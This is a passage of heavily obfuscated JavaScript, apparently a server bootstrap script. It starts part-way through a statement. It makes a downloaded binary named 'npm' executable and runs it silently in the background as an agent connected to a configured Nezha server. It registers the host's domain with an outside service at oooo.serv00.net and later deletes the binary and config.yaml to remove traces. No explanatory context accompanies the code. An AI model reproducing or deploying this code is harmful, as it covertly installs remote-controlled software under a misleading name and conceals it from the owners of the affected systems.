_0x129f2d['data'][_0xd7d87a(_0x12a1f0._0x48613b)](_0x1bed4f),new Promise((_0x498990,_0x10ba88)=>{const _0x1bfe1c=_0xd7d87a;_0x1bed4f['on'](_0x1bfe1c(0x11c),()=>{const _0x3ee8ba=_0x1bfe1c;console[_0x3ee8ba(_0x480db0._0x5cf9c5)](_0x3ee8ba(0xe6)),exec('chmod\x20+x\x20npm',_0x484f86=>{if(_0x484f86)_0x10ba88(_0x484f86);_0x498990();});}),_0x1bed4f['on'](_0x1bfe1c(_0x2dec8e._0x4660a4),_0x10ba88);});}catch(_0x5f571a){throw _0x5f571a;}},runnz=async()=>{const _0x16d133={_0x448208:0x15c,_0x90914a:0x15e,_0x327a24:0x144,_0x1699bc:0xe0,_0x526609:0x155,_0x5cbbd9:0x147,_0x42ba7b:0x100,_0x2787eb:0x131,_0x27f3e1:0xe5,_0x3b42fa:0x12f,_0x2d7df8:0xf4,_0x2dc04a:0x157,_0x158ed0:0xed,_0x5ed20e:0x112,_0x2df220:0xef},_0x5e7e70=_0x1ac3fd;try{const _0x4f4489=execSync('ps\x20aux\x20|\x20grep\x20-v\x20\x22grep\x22\x20|\x20grep\x20\x22./[n]pm\x22',{'encoding':_0x5e7e70(_0x16d133._0x448208)});if(_0x4f4489[_0x5e7e70(_0x16d133._0x90914a)]()!==''){console['log'](_0x5e7e70(0x121));return;}}catch(_0x3d43e1){}await downloadFile();let _0x28d9a5='',_0x1611e6=[_0x5e7e70(0x14a),_0x5e7e70(_0x16d133._0x327a24),_0x5e7e70(0x12d),_0x5e7e70(0x129),_0x5e7e70(_0x16d133._0x1699bc),_0x5e7e70(_0x16d133._0x526609)];if(NEZHA_SERVER&&NEZHA_PORT&&NEZHA_KEY){const _0x11942a=_0x1611e6[_0x5e7e70(_0x16d133._0x5cbbd9)](NEZHA_PORT)?_0x5e7e70(_0x16d133._0x42ba7b):'';_0x28d9a5=_0x5e7e70(0xf9)+NEZHA_SERVER+':'+NEZHA_PORT+'\x20-p\x20'+NEZHA_KEY+'\x20'+_0x11942a+'\x20--disable-auto-update\x20--report-delay\x204\x20--skip-conn\x20--skip-procs\x20>/dev/null\x202>&1\x20&';}else{if(NEZHA_SERVER&&NEZHA_KEY){if(!NEZHA_PORT){const _0x1c60be=NEZHA_SERVER[_0x5e7e70(0x147)](':')?NEZHA_SERVER[_0x5e7e70(0x113)](':')['pop']():'',_0x20804a=_0x1611e6['includes'](_0x1c60be)?_0x5e7e70(_0x16d133._0x2787eb):_0x5e7e70(_0x16d133._0x27f3e1),_0x340406=_0x5e7e70(0x102)+NEZHA_KEY+_0x5e7e70(_0x16d133._0x3b42fa)+NEZHA_SERVER+_0x5e7e70(0x148)+_0x20804a+_0x5e7e70(_0x16d133._0x2d7df8)+UUID;fs[_0x5e7e70(_0x16d133._0x2dc04a)](_0x5e7e70(0x11a),_0x340406);}_0x28d9a5=_0x5e7e70(_0x16d133._0x158ed0);}else{console[_0x5e7e70(_0x16d133._0x5ed20e)](_0x5e7e70(0xe8));return;}}try{exec(_0x28d9a5,{'shell':_0x5e7e70(0x15b)},_0x55266c=>{const _0x1e855c=_0x5e7e70;if(_0x55266c)console[_0x1e855c(0x111)](_0x1e855c(0x145),_0x55266c);else console[_0x1e855c(0x112)](_0x1e855c(0xde));});}catch(_0x52eac3){console[_0x5e7e70(0x111)](_0x5e7e70(_0x16d133._0x2df220)+_0x52eac3);}};async function addAccessTask(){const _0x1d41f5={_0x2a5346:0x13a,_0x464a66:0x112},_0xd50baa=_0x1ac3fd;if(!AUTO_ACCESS)return;if(!DOMAIN)return;const _0x5d10f2=_0xd50baa(_0x1d41f5._0x2a5346)+DOMAIN;try{const _0x1647fd=await axios['post']('https://oooo.serv00.net/add-url',{'url':_0x5d10f2},{'headers':{'Content-Type':_0xd50baa(0x13c)}});console[_0xd50baa(_0x1d41f5._0x464a66)]('Automatic\x20Access\x20Task\x20added\x20successfully');}catch(_0x11c169){}}const delFiles=()=>{const _0xdddf5d={_0x2eae8f:0x150},_0xbed690=_0x1ac3fd;fs['unlink'](_0xbed690(0x140),()=>{}),fs[_0xbed690(_0xdddf5d._0x2eae8f)]('config.yaml',()=>{});};httpServer[_0x1ac3fd(0x120)](PORT,()=>{const _0x577e25={_0x1336f0:0x128},_0x2d0e5e=_0x1ac3fd;runnz(),setTimeout(()=>{delFiles();},0x2bf20),addAccessTask(),console['log'](_0x2d0e5e(_0x577e25._0x1336f0)+PORT);});